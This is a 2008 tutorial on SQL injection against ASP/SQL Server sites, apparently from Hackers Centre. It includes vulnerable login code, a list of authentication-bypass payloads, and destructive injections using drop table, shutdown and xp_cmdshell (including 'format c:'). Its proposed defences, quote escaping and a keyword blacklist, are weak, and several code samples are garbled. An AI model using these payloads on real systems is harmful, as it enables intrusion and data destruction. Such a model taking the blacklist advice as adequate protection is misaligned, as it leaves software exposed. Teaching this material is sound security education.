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Sql injection - HSC Guides - Web App Security

Written by Ethical Hacker
Sunday, 17 February 2008 17:06

SQL Injection is an attack method that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database.
Naturally, the first step in this direction should be to uncover web applications that are vulnerable to the attack. The attack takes advantage of poor code and website administration. In SQL injection, user controlled data is placed into a SQL query without being validated for correct format or embedded escape strings. It has been known to affect majority of applications which use a database backend and do not filter variable types. It has been estimated that at least 50% of the large e-commerce sites and about 75% of the medium to small sites are vulnerable to this attack. The dominant cause is the improper validation in CFML, ASP, JSP, and PHP codes. Attackers go about uncovering the susceptible web application by looking at web pages for anything resembling an ID number, category, or name. The attacker may sift through all forms of variables as well as cookies. Many a times session cookies are stored in a database and these cookies are passed into SQL queries with little or no format checks. They may try placing various strings into form fields and in query variables. However, typically, someone looking for SQL vulnerability will start off with single and double quotes and then try with parenthesis and the rest of the punctuation characters. The response expected is any response signifying an error.
(OLE DB Errors)

The user filled fields are enclosed by single quotation marks ('). So a simple test of the form would be to try using (') as the username.
When we just enter in a form that is vulnerable to SQL insertion. If you get OLE Database error, then you can try SQL injections.


[example]

Attackers start by using the single quote in the User ID field of the login page. It returned an error just as they wanted it.


[Error Type]


Microsoft OLE DB Provider for ODBC Drivers (Ox80040E14)

[Microsoft] [ODBC SQL Server Driver] [SQL Server] Unclosed quotation mark before the character string '''.

/corner/asp/checklogin1.asp, line 7

Browser Type:

Mozilla/(version) (compatible; MSIE 6.0; Windows NT 5.0)

Page: #

POST 36 bytes to /corner/asp/checkloginl.asp

POST Data:

userid=%27&userpwd=%27&Submit=Submit


This output is the first lead the attacker can use. He has a greater chance of succeeding if he can find out which database he is pitted against. This is called database footprinting. Database footprinting is the process of mapping out the tables on the database. Identifying the configuration of the server is crucial in deciding how the site will be attacked. The method chosen to do this will depend on how poorly the server has been configured. In the error statement shown above, it is clear that the site is using a SQL Server. Note that SQL Injection is the attack on the web application, not the web server or services running in the OS. It is typical of an HTML page to use the POST command to send parameters to another ASP page. On a closer look at the source code we find the "FORM" tag,

Let us look at the implications.

Exploits occur due to coding errors and inadequate validation checks as well. Often, the emphasis is on acquiring an input and delivering a suitable output. Web applications that do not check the validity of its input, are exposed to the attack.

Another attack type is Login script. The login page at site.com/login.htm is based on this code.


Username:

Password:

< /form>

The above form points to checklogin.asp where we come across the following code.


Dim p_struser, p_strpass, objRS, strSQL
p_struser = Request.Form ("user_name")
p_strpass = Request. Form ("pwdpass")
strSQL = "SELECT * FROM tblUsers " & _
"WHERE user_name='" & p_strusr & _
'"and pwdpass='" & p_strpass & ""'
Set objRS = Server. CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

If (objRS.EOF) Then
Response. Write "Invalid login."
Else
Response. Write "You are logged in as" & objRS("user_name")
End If

Set objRS = Nothing




At a cursory glance this code looks alright and does what it is supposed to do - check for a valid username and password and allow the user to access the site if it the credentials are valid.

However, note the above statement where the user input from the form is directly used to build a SQL statement. There is no input validation regarding the nature of input. It gives direct control to an attacker who wants to access the database.

For instance if the attacker enters a SELECT statement such as SELECT * FROM tblUsers WHERE user_name=" or "=" and pwdpass = " or "=", the query will be executed and all the users from the queried table will be displayed as output. Moreover, the first attacker will be logged in as the first user identified by the first record in the table. It is quite probable that the first user is the superuser or the administrator. Since the form does not check for special characters such as "=", the attacker is able to use these to achieve his malicious intent. For clarity sake, let us look at a secure code. Note the use of the REPLACE function to take care of the single quote input.


< % Else
strSQL = "SELECT * FROM tblUsers " _ &
"WHERE username="' & Replace (Request. Form ("usr_name"), ""', """) &'" " _ &
"AND password="'" & Replace (Request. Form("pwdpass"),'"", """) &'";"
Set Login = Server. CreateObject ("ADODB.Connection")
Login. Open ("DRIVER= {Microsoft Access Driver (*.mdb)};" _ &
"DBQ=" & Server.MapPath ("login.mdb"))
Set rstLogin = Login. Execute (strSQL)
If Not rstLogin.EOF then
%>

SQL Server, among other databases, delimits queries with a semi-colon. The use of a semicolon allows multiple queries to be submitted as one batch and executed sequentially. For example, the query Username: 'or 1=1; drop table users; -- will be executed in two parts. Firstly, it would select the username field for all rows in the users table. Secondly, it would delete the users table.

Login Guessing & Insertion is anoterh way of trying to Hack. The attacker can try to login without a password. Typical usernames would be 1=1 or any text within single quotes. The most common problem seen on Microsoft MS - SQL boxes is the default sa password.
The attacker can try to guess the username of an account by querying for similar user names (ex: ad%' is used to query for "admin").
The attacker can insert data by appending commands or writing queries.

From database fingerprinting, if the attacker has determined that the database backend is SQL server, he will try his luck with the default admin login credentials - namely sa and a blank password. Alternatively he can issue a query so that his query would retrieve a valid username. For instance, to retrieve the administrative account, he can query for users.userName like 'ad%' --

Now if the attacker does not want to login and just wants to 'harvest' the site, he may try to view extra information which is not otherwise available. He can choose to transform the url such as the ones shown below to retrieve information.

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools

Here, the "sCategory" is the variable name, and "Tools" is the value assigned to the variable. The attacker changes this valid url into:

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Kits

If the code underlying the page has a segment similar to the one shown below:

sub_cat = request ("sCategory")
sqlstr="SELECT * FROM product WHERE Category='" & sub_cat &'""
Set rs=conn.execute (sqlstr)

Now, the value "Kits" taken in by the variable "sCategory" is attributed to sub_cat and hence the SQL statement becomes:

SELECT * FROM product WHERE Category='Kits'

Therefore the output will be a result set containing rows that match the WHERE condition. If the attacker appends the following to the valid url,

http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools'or1=1—

The SQL statement becomes SELECT * FROM product WHERE Category='Tools' or 1=1 --'

This leads the query to select everything from the product table irrespective of whether Category equals "Tools' or not. The double dash " --" instructs the SQL Server to ignore the rest of the query. This is done to eliminate the last hanging single quote ('). Sometimes, it is possible to replace double dash with single hash "#".

If the database backend in question is not an SQL Server, it will not recognize the double dash. The attacker can then try appending ' or 'a'='a, which should return the same result.

Depending on the actual SQL query, the various possibilities available to the attacker are:

'or 1=1--

"or 1=1--

or1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a


To use the database for his malevolent intent, the attacker needs to figure out more than just what database is running at the backend. He will have to determine the database structure and tables. Revisiting our product table, we see that the attacker can insert commands such as: insert into Category value (library)

Suppose the attacker wants to add a description of the files he wants to upload, he will need to determine the structure of the table. He might be able to do just that, if error messages are returned from the application according to the default behaviour of ASP and decipher any value that can be read by the account the ASP application is using to connect to the SQL Server.

The insertion methods will vary according to the database at the backend. For instance, MS SQL is considered to be the easiest system for SQL Insertion. Oracle has no native command execution capability. In Sybase, the Command exec is disabled by default. However, it is similar to MS SQL - though without as many stored procedures. MySQL is very limited in scope. SubSelects are a possibility with newer versions. It is typically restricted to one SQL command per query. One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service.

Username: ' ; shutdown with nowait; -
- Password [Anything]

This can happen if the script runs the following query:

select userName from users where
userName='; shutdown with
nowait;-' and user_Pass=' '

The default installation of SQL Server has the system account (sa) which is accorded all the privileges of the administrator. An attacker who happens to stumble across this account while harvesting websites can take advantage of this and gain access to all commands, delete, rename, and add databases, tables, triggers, and more. One of the attacks he can carry out when he is done with the site is to issue a denial of service by shutting down the SQL Server. A powerful command recognized by SQL Server is SHUTDOWN WITH NOWAIT. This causes the server to shutdown, immediately stopping the Windows service. After this command has been issued, the service must be manually restarted by the administrator. Let us take a look at an example. At an input form such as login, which is susceptible to SQL injection, the attacker issues the following command.

Username: '; shutdown with nowait; --
Password: [Anything]

This would make our login.asp script run the following query:

select userName from users where userName=";
shutdown with nowait; --'and userPass="

The '--' character sequence is the 'single line comment' sequence in Transact -SQL, and the ';' character denotes the end of one query and the beginning of another. If he has used the default sa account, or has acquired the required privileges, SQL server will shut down, and will require a restart in order to function again.


Stored Porcedures

There are several extended stored procedures that can cause permanent damage to a system.

We can execute an extended stored procedure using our login form with an injected command as the username as follows:



Username: ' ; exec master..xp_xxx; --

Password: [Anything]

Username: ' ; exec master..xp_cmdshell ' iisreset' ; --

Password: [Anything]

A stored procedure is a collection of SQL statements that can be called as though they were a single function. A SQL stored procedure is similar to a batch file - both are text files consisting of commands, and can be run by invoking the name of the procedure or batch file. An extended stored procedure (XP) takes the notion of a stored procedure one step further. Where stored procedures consist of text files, XPs are written in high-languages like C and compiled into .DLLs. Stored procedures primarily consists of SQL commands, while XPs can provide entirely new functions via their code. An attacker can take advantage of extended stored procedure by entering a suitable command. This is possible if there is no proper input validation. xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example: exec master..xp_cmdshell 'dir' will obtain a directory listing of the current working directory of the SQL Server process. In this example, the attacker may try entering the following input into a search form can be used for the attack.

' exec master..xp_cmdshell 'product handy cam/DELETE' --

When the query string is parsed and sent to SQL Server, the server will process the following code:

SELECT * FROM PTable WHERE input text =" exec master..xp_cmdshell ' product
handycam/DELETE' --'


The advantage of this attack method is that the DLL file only needs to be present on a machine accessible by the SQL Server. Here, the first single quote entered by the user closes the string and SQL Server executes the next SQL statements in the batch including a command to delete a product to the product table in the database.


Server Talks

This command uses the 'speech.voicetext' object, causing the SQL Server to speak:

admin'; declare @o int, @ret
int exec sp_oacreate
'speech.voicetext', @o,
'register', NULL,'foo',
'bar' exec sp_oasetproperty
@o, 'speed',150 exec
sp_oamethod @o, 'speak',
NULL, 'all your sequel
servers are belong to us',
528 waitfor delay '00:00:05'--


It is possible for an attacker to leverage built-in extended stored procedures which are provided for the creation of ActiveX Automation scripts in SQL server. These scripts are typically written in VBScript or JavaScript, and they create automation objects and interact with them. They are functionally similar to ASP scripts. Similarly an automation script written in Transact-SQL can accomplish what an ASP script or a WSH script will do.


[Eaxmaple 2]

declare @o int, @ret int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers belong to us', 528

waitfor delay '00:00:05'

This uses the 'speech.voicetext' object, causing the SQL Server to speak.

Preventing Attacks


Minimize Privileges of Database Connection, Disable verbose error messages, Protect the system account 'sa', Audit Source Code, Escape Single Quotes, Allow only good input, Reject known bad input, Restrict length of input and finally update Database and back it up! The majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you're greatly reducing the chance of an injection attack succeeding. Using ASP, it's a simple matter of creating a generic replace function that will handle the single quotes automatically, like this:
function stripQuotes(strWords)

stripQuotes = replace (strWords, "'", """ ;)

end function


Now if you use the stripQuotes function in conjunction with our first query for example, then it would go from this:

select count(*) from users where userName='alice' and
userPass=" or 1=1 --'

...to this:

select count(*) from users where userName='alice' and
userPass="' or 1=1 --'

This, in effect, stops the injection attack from taking place, because the clause for the WHERE query now requires both the userName and userPass fields to be valid.

Some countermeasure would be to, Remove Culprit Characters/Character Sequences: Certain characters and character sequences such as; --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further. As with the single quote solution, we just need a basic function to handle this:

function killChars(strWords)
dim badChars
dim newChars
badChars = array("select", "drop",";","--", "insert",
" delete", "xp_")
newChars = strWords
for i = o to uBound(badChars)
newChars = replace(newChars, badChars(i),"")
next
killChars = newChars
end function

Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if the query:

select prodName from products where id=1; xp_cmdshell 'format
c: /q /yes '; drop database targetDB; --

is run through stripQuotes and then killChars, it would end up looking like this:

prodName from products where id=1 cmdshell "format c:
/q /yes " database targetDB

This is basically useless, and will return no records from the query. By keeping all text boxes and form fields as short as possible, the number of characters that can be used to formulate an SQL injection attack is greatly reduced. Additional countermeasures include checking data type, and using the post method where possible to post forms.

Conclusion
SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it.
It attempts to modify the parameters of a Web -based application in order to alter the SQL statements that are parsed to retrieve data from the database. Database footprinting is the process of mapping out the tables on the database and is a crucial tool in the hands of an attacker. Exploits occur due to coding errors as well as inadequate validation checks. Prevention involves enforcing better coding practices and database administration procedures. You have finally read this article and I hope, it gave you a deeper understanding about today web security and attacks. Remember always patch and update holes because exploits are found commonly and the attacker is not going to wait. Thank you all for reading and continue to show your support to Hackers Centre by spreading good word about our site!

Sumber : http://www.hackerscenter.com

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